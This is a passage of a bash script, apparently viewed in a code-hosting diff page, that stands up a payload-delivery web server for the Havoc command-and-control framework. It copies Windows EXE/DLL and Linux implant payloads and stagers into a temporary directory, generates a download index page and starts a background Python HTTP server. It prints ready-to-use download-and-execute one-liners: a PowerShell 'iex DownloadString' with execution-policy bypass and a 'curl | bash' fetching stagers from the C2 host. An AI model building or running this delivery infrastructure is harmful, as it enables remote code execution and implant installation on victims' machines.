WIN_EXE=$(basename "$WIN_EXE")
|
||||
WIN_DLL=$(basename "$WIN_DLL")
|
||||
LINUX_BIN=$(basename "$LINUX_BIN")
|
||||
fi
|
||||
|
||||
# Create temporary directory for web server
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
mkdir -p $TEMP_DIR/content/windows
|
||||
mkdir -p $TEMP_DIR/content/linux
|
||||
mkdir -p $TEMP_DIR/scripts
|
||||
|
||||
# Copy payloads to web directory
|
||||
if [ -n "$WIN_EXE" ]; then
|
||||
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
|
||||
echo "[+] Serving Windows EXE: $WIN_EXE"
|
||||
fi
|
||||
|
||||
if [ -n "$WIN_DLL" ]; then
|
||||
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
|
||||
echo "[+] Serving Windows DLL: $WIN_DLL"
|
||||
fi
|
||||
|
||||
if [ -n "$LINUX_BIN" ]; then
|
||||
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
|
||||
echo "[+] Serving Linux Binary: $LINUX_BIN"
|
||||
fi
|
||||
|
||||
# Copy stagers if they exist
|
||||
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
|
||||
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
|
||||
echo "[+] Serving Windows PowerShell stager"
|
||||
fi
|
||||
|
||||
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
|
||||
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
|
||||
echo "[+] Serving Linux bash stager"
|
||||
fi
|
||||
|
||||
# Create helpful index page
|
||||
cat > $TEMP_DIR/index.html << EOL
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Havoc C2 Payload Downloads</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
|
||||
h1 { color: #333; }
|
||||
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
|
||||
.warning { color: #a00; font-weight: bold; }
|
||||
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Havoc C2 Payload Downloads</h1>
|
||||
<div class="section">
|
||||
<h2>Available Payloads</h2>
|
||||
<ul>
|
||||
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
|
||||
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
|
||||
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="section">
|
||||
<h2>Auto-Download Scripts</h2>
|
||||
<ul>
|
||||
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
|
||||
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="section">
|
||||
<h2>Quick Commands</h2>
|
||||
<p>Windows PowerShell:</p>
|
||||
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
|
||||
<p>Linux Bash:</p>
|
||||
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
EOL
|
||||
|
||||
# Start Python HTTP server in background
|
||||
cd $TEMP_DIR
|
||||
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
|
||||
SERVER_PID=$!
|
||||
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
|
||||
|
||||
# Print useful information for the operator
|
||||
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
|
||||
echo "[+] Available payloads:"
|
||||
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
|
||||
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
|
||||
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
|
||||
echo ""
|
||||
echo "[+] Quick PowerShell download command:"
|
||||
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
|
||||
echo ""
|
||||
echo "[+] Quick Linux download command:"
|
||||
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"
|
||||
Reference in New Issue
Block a user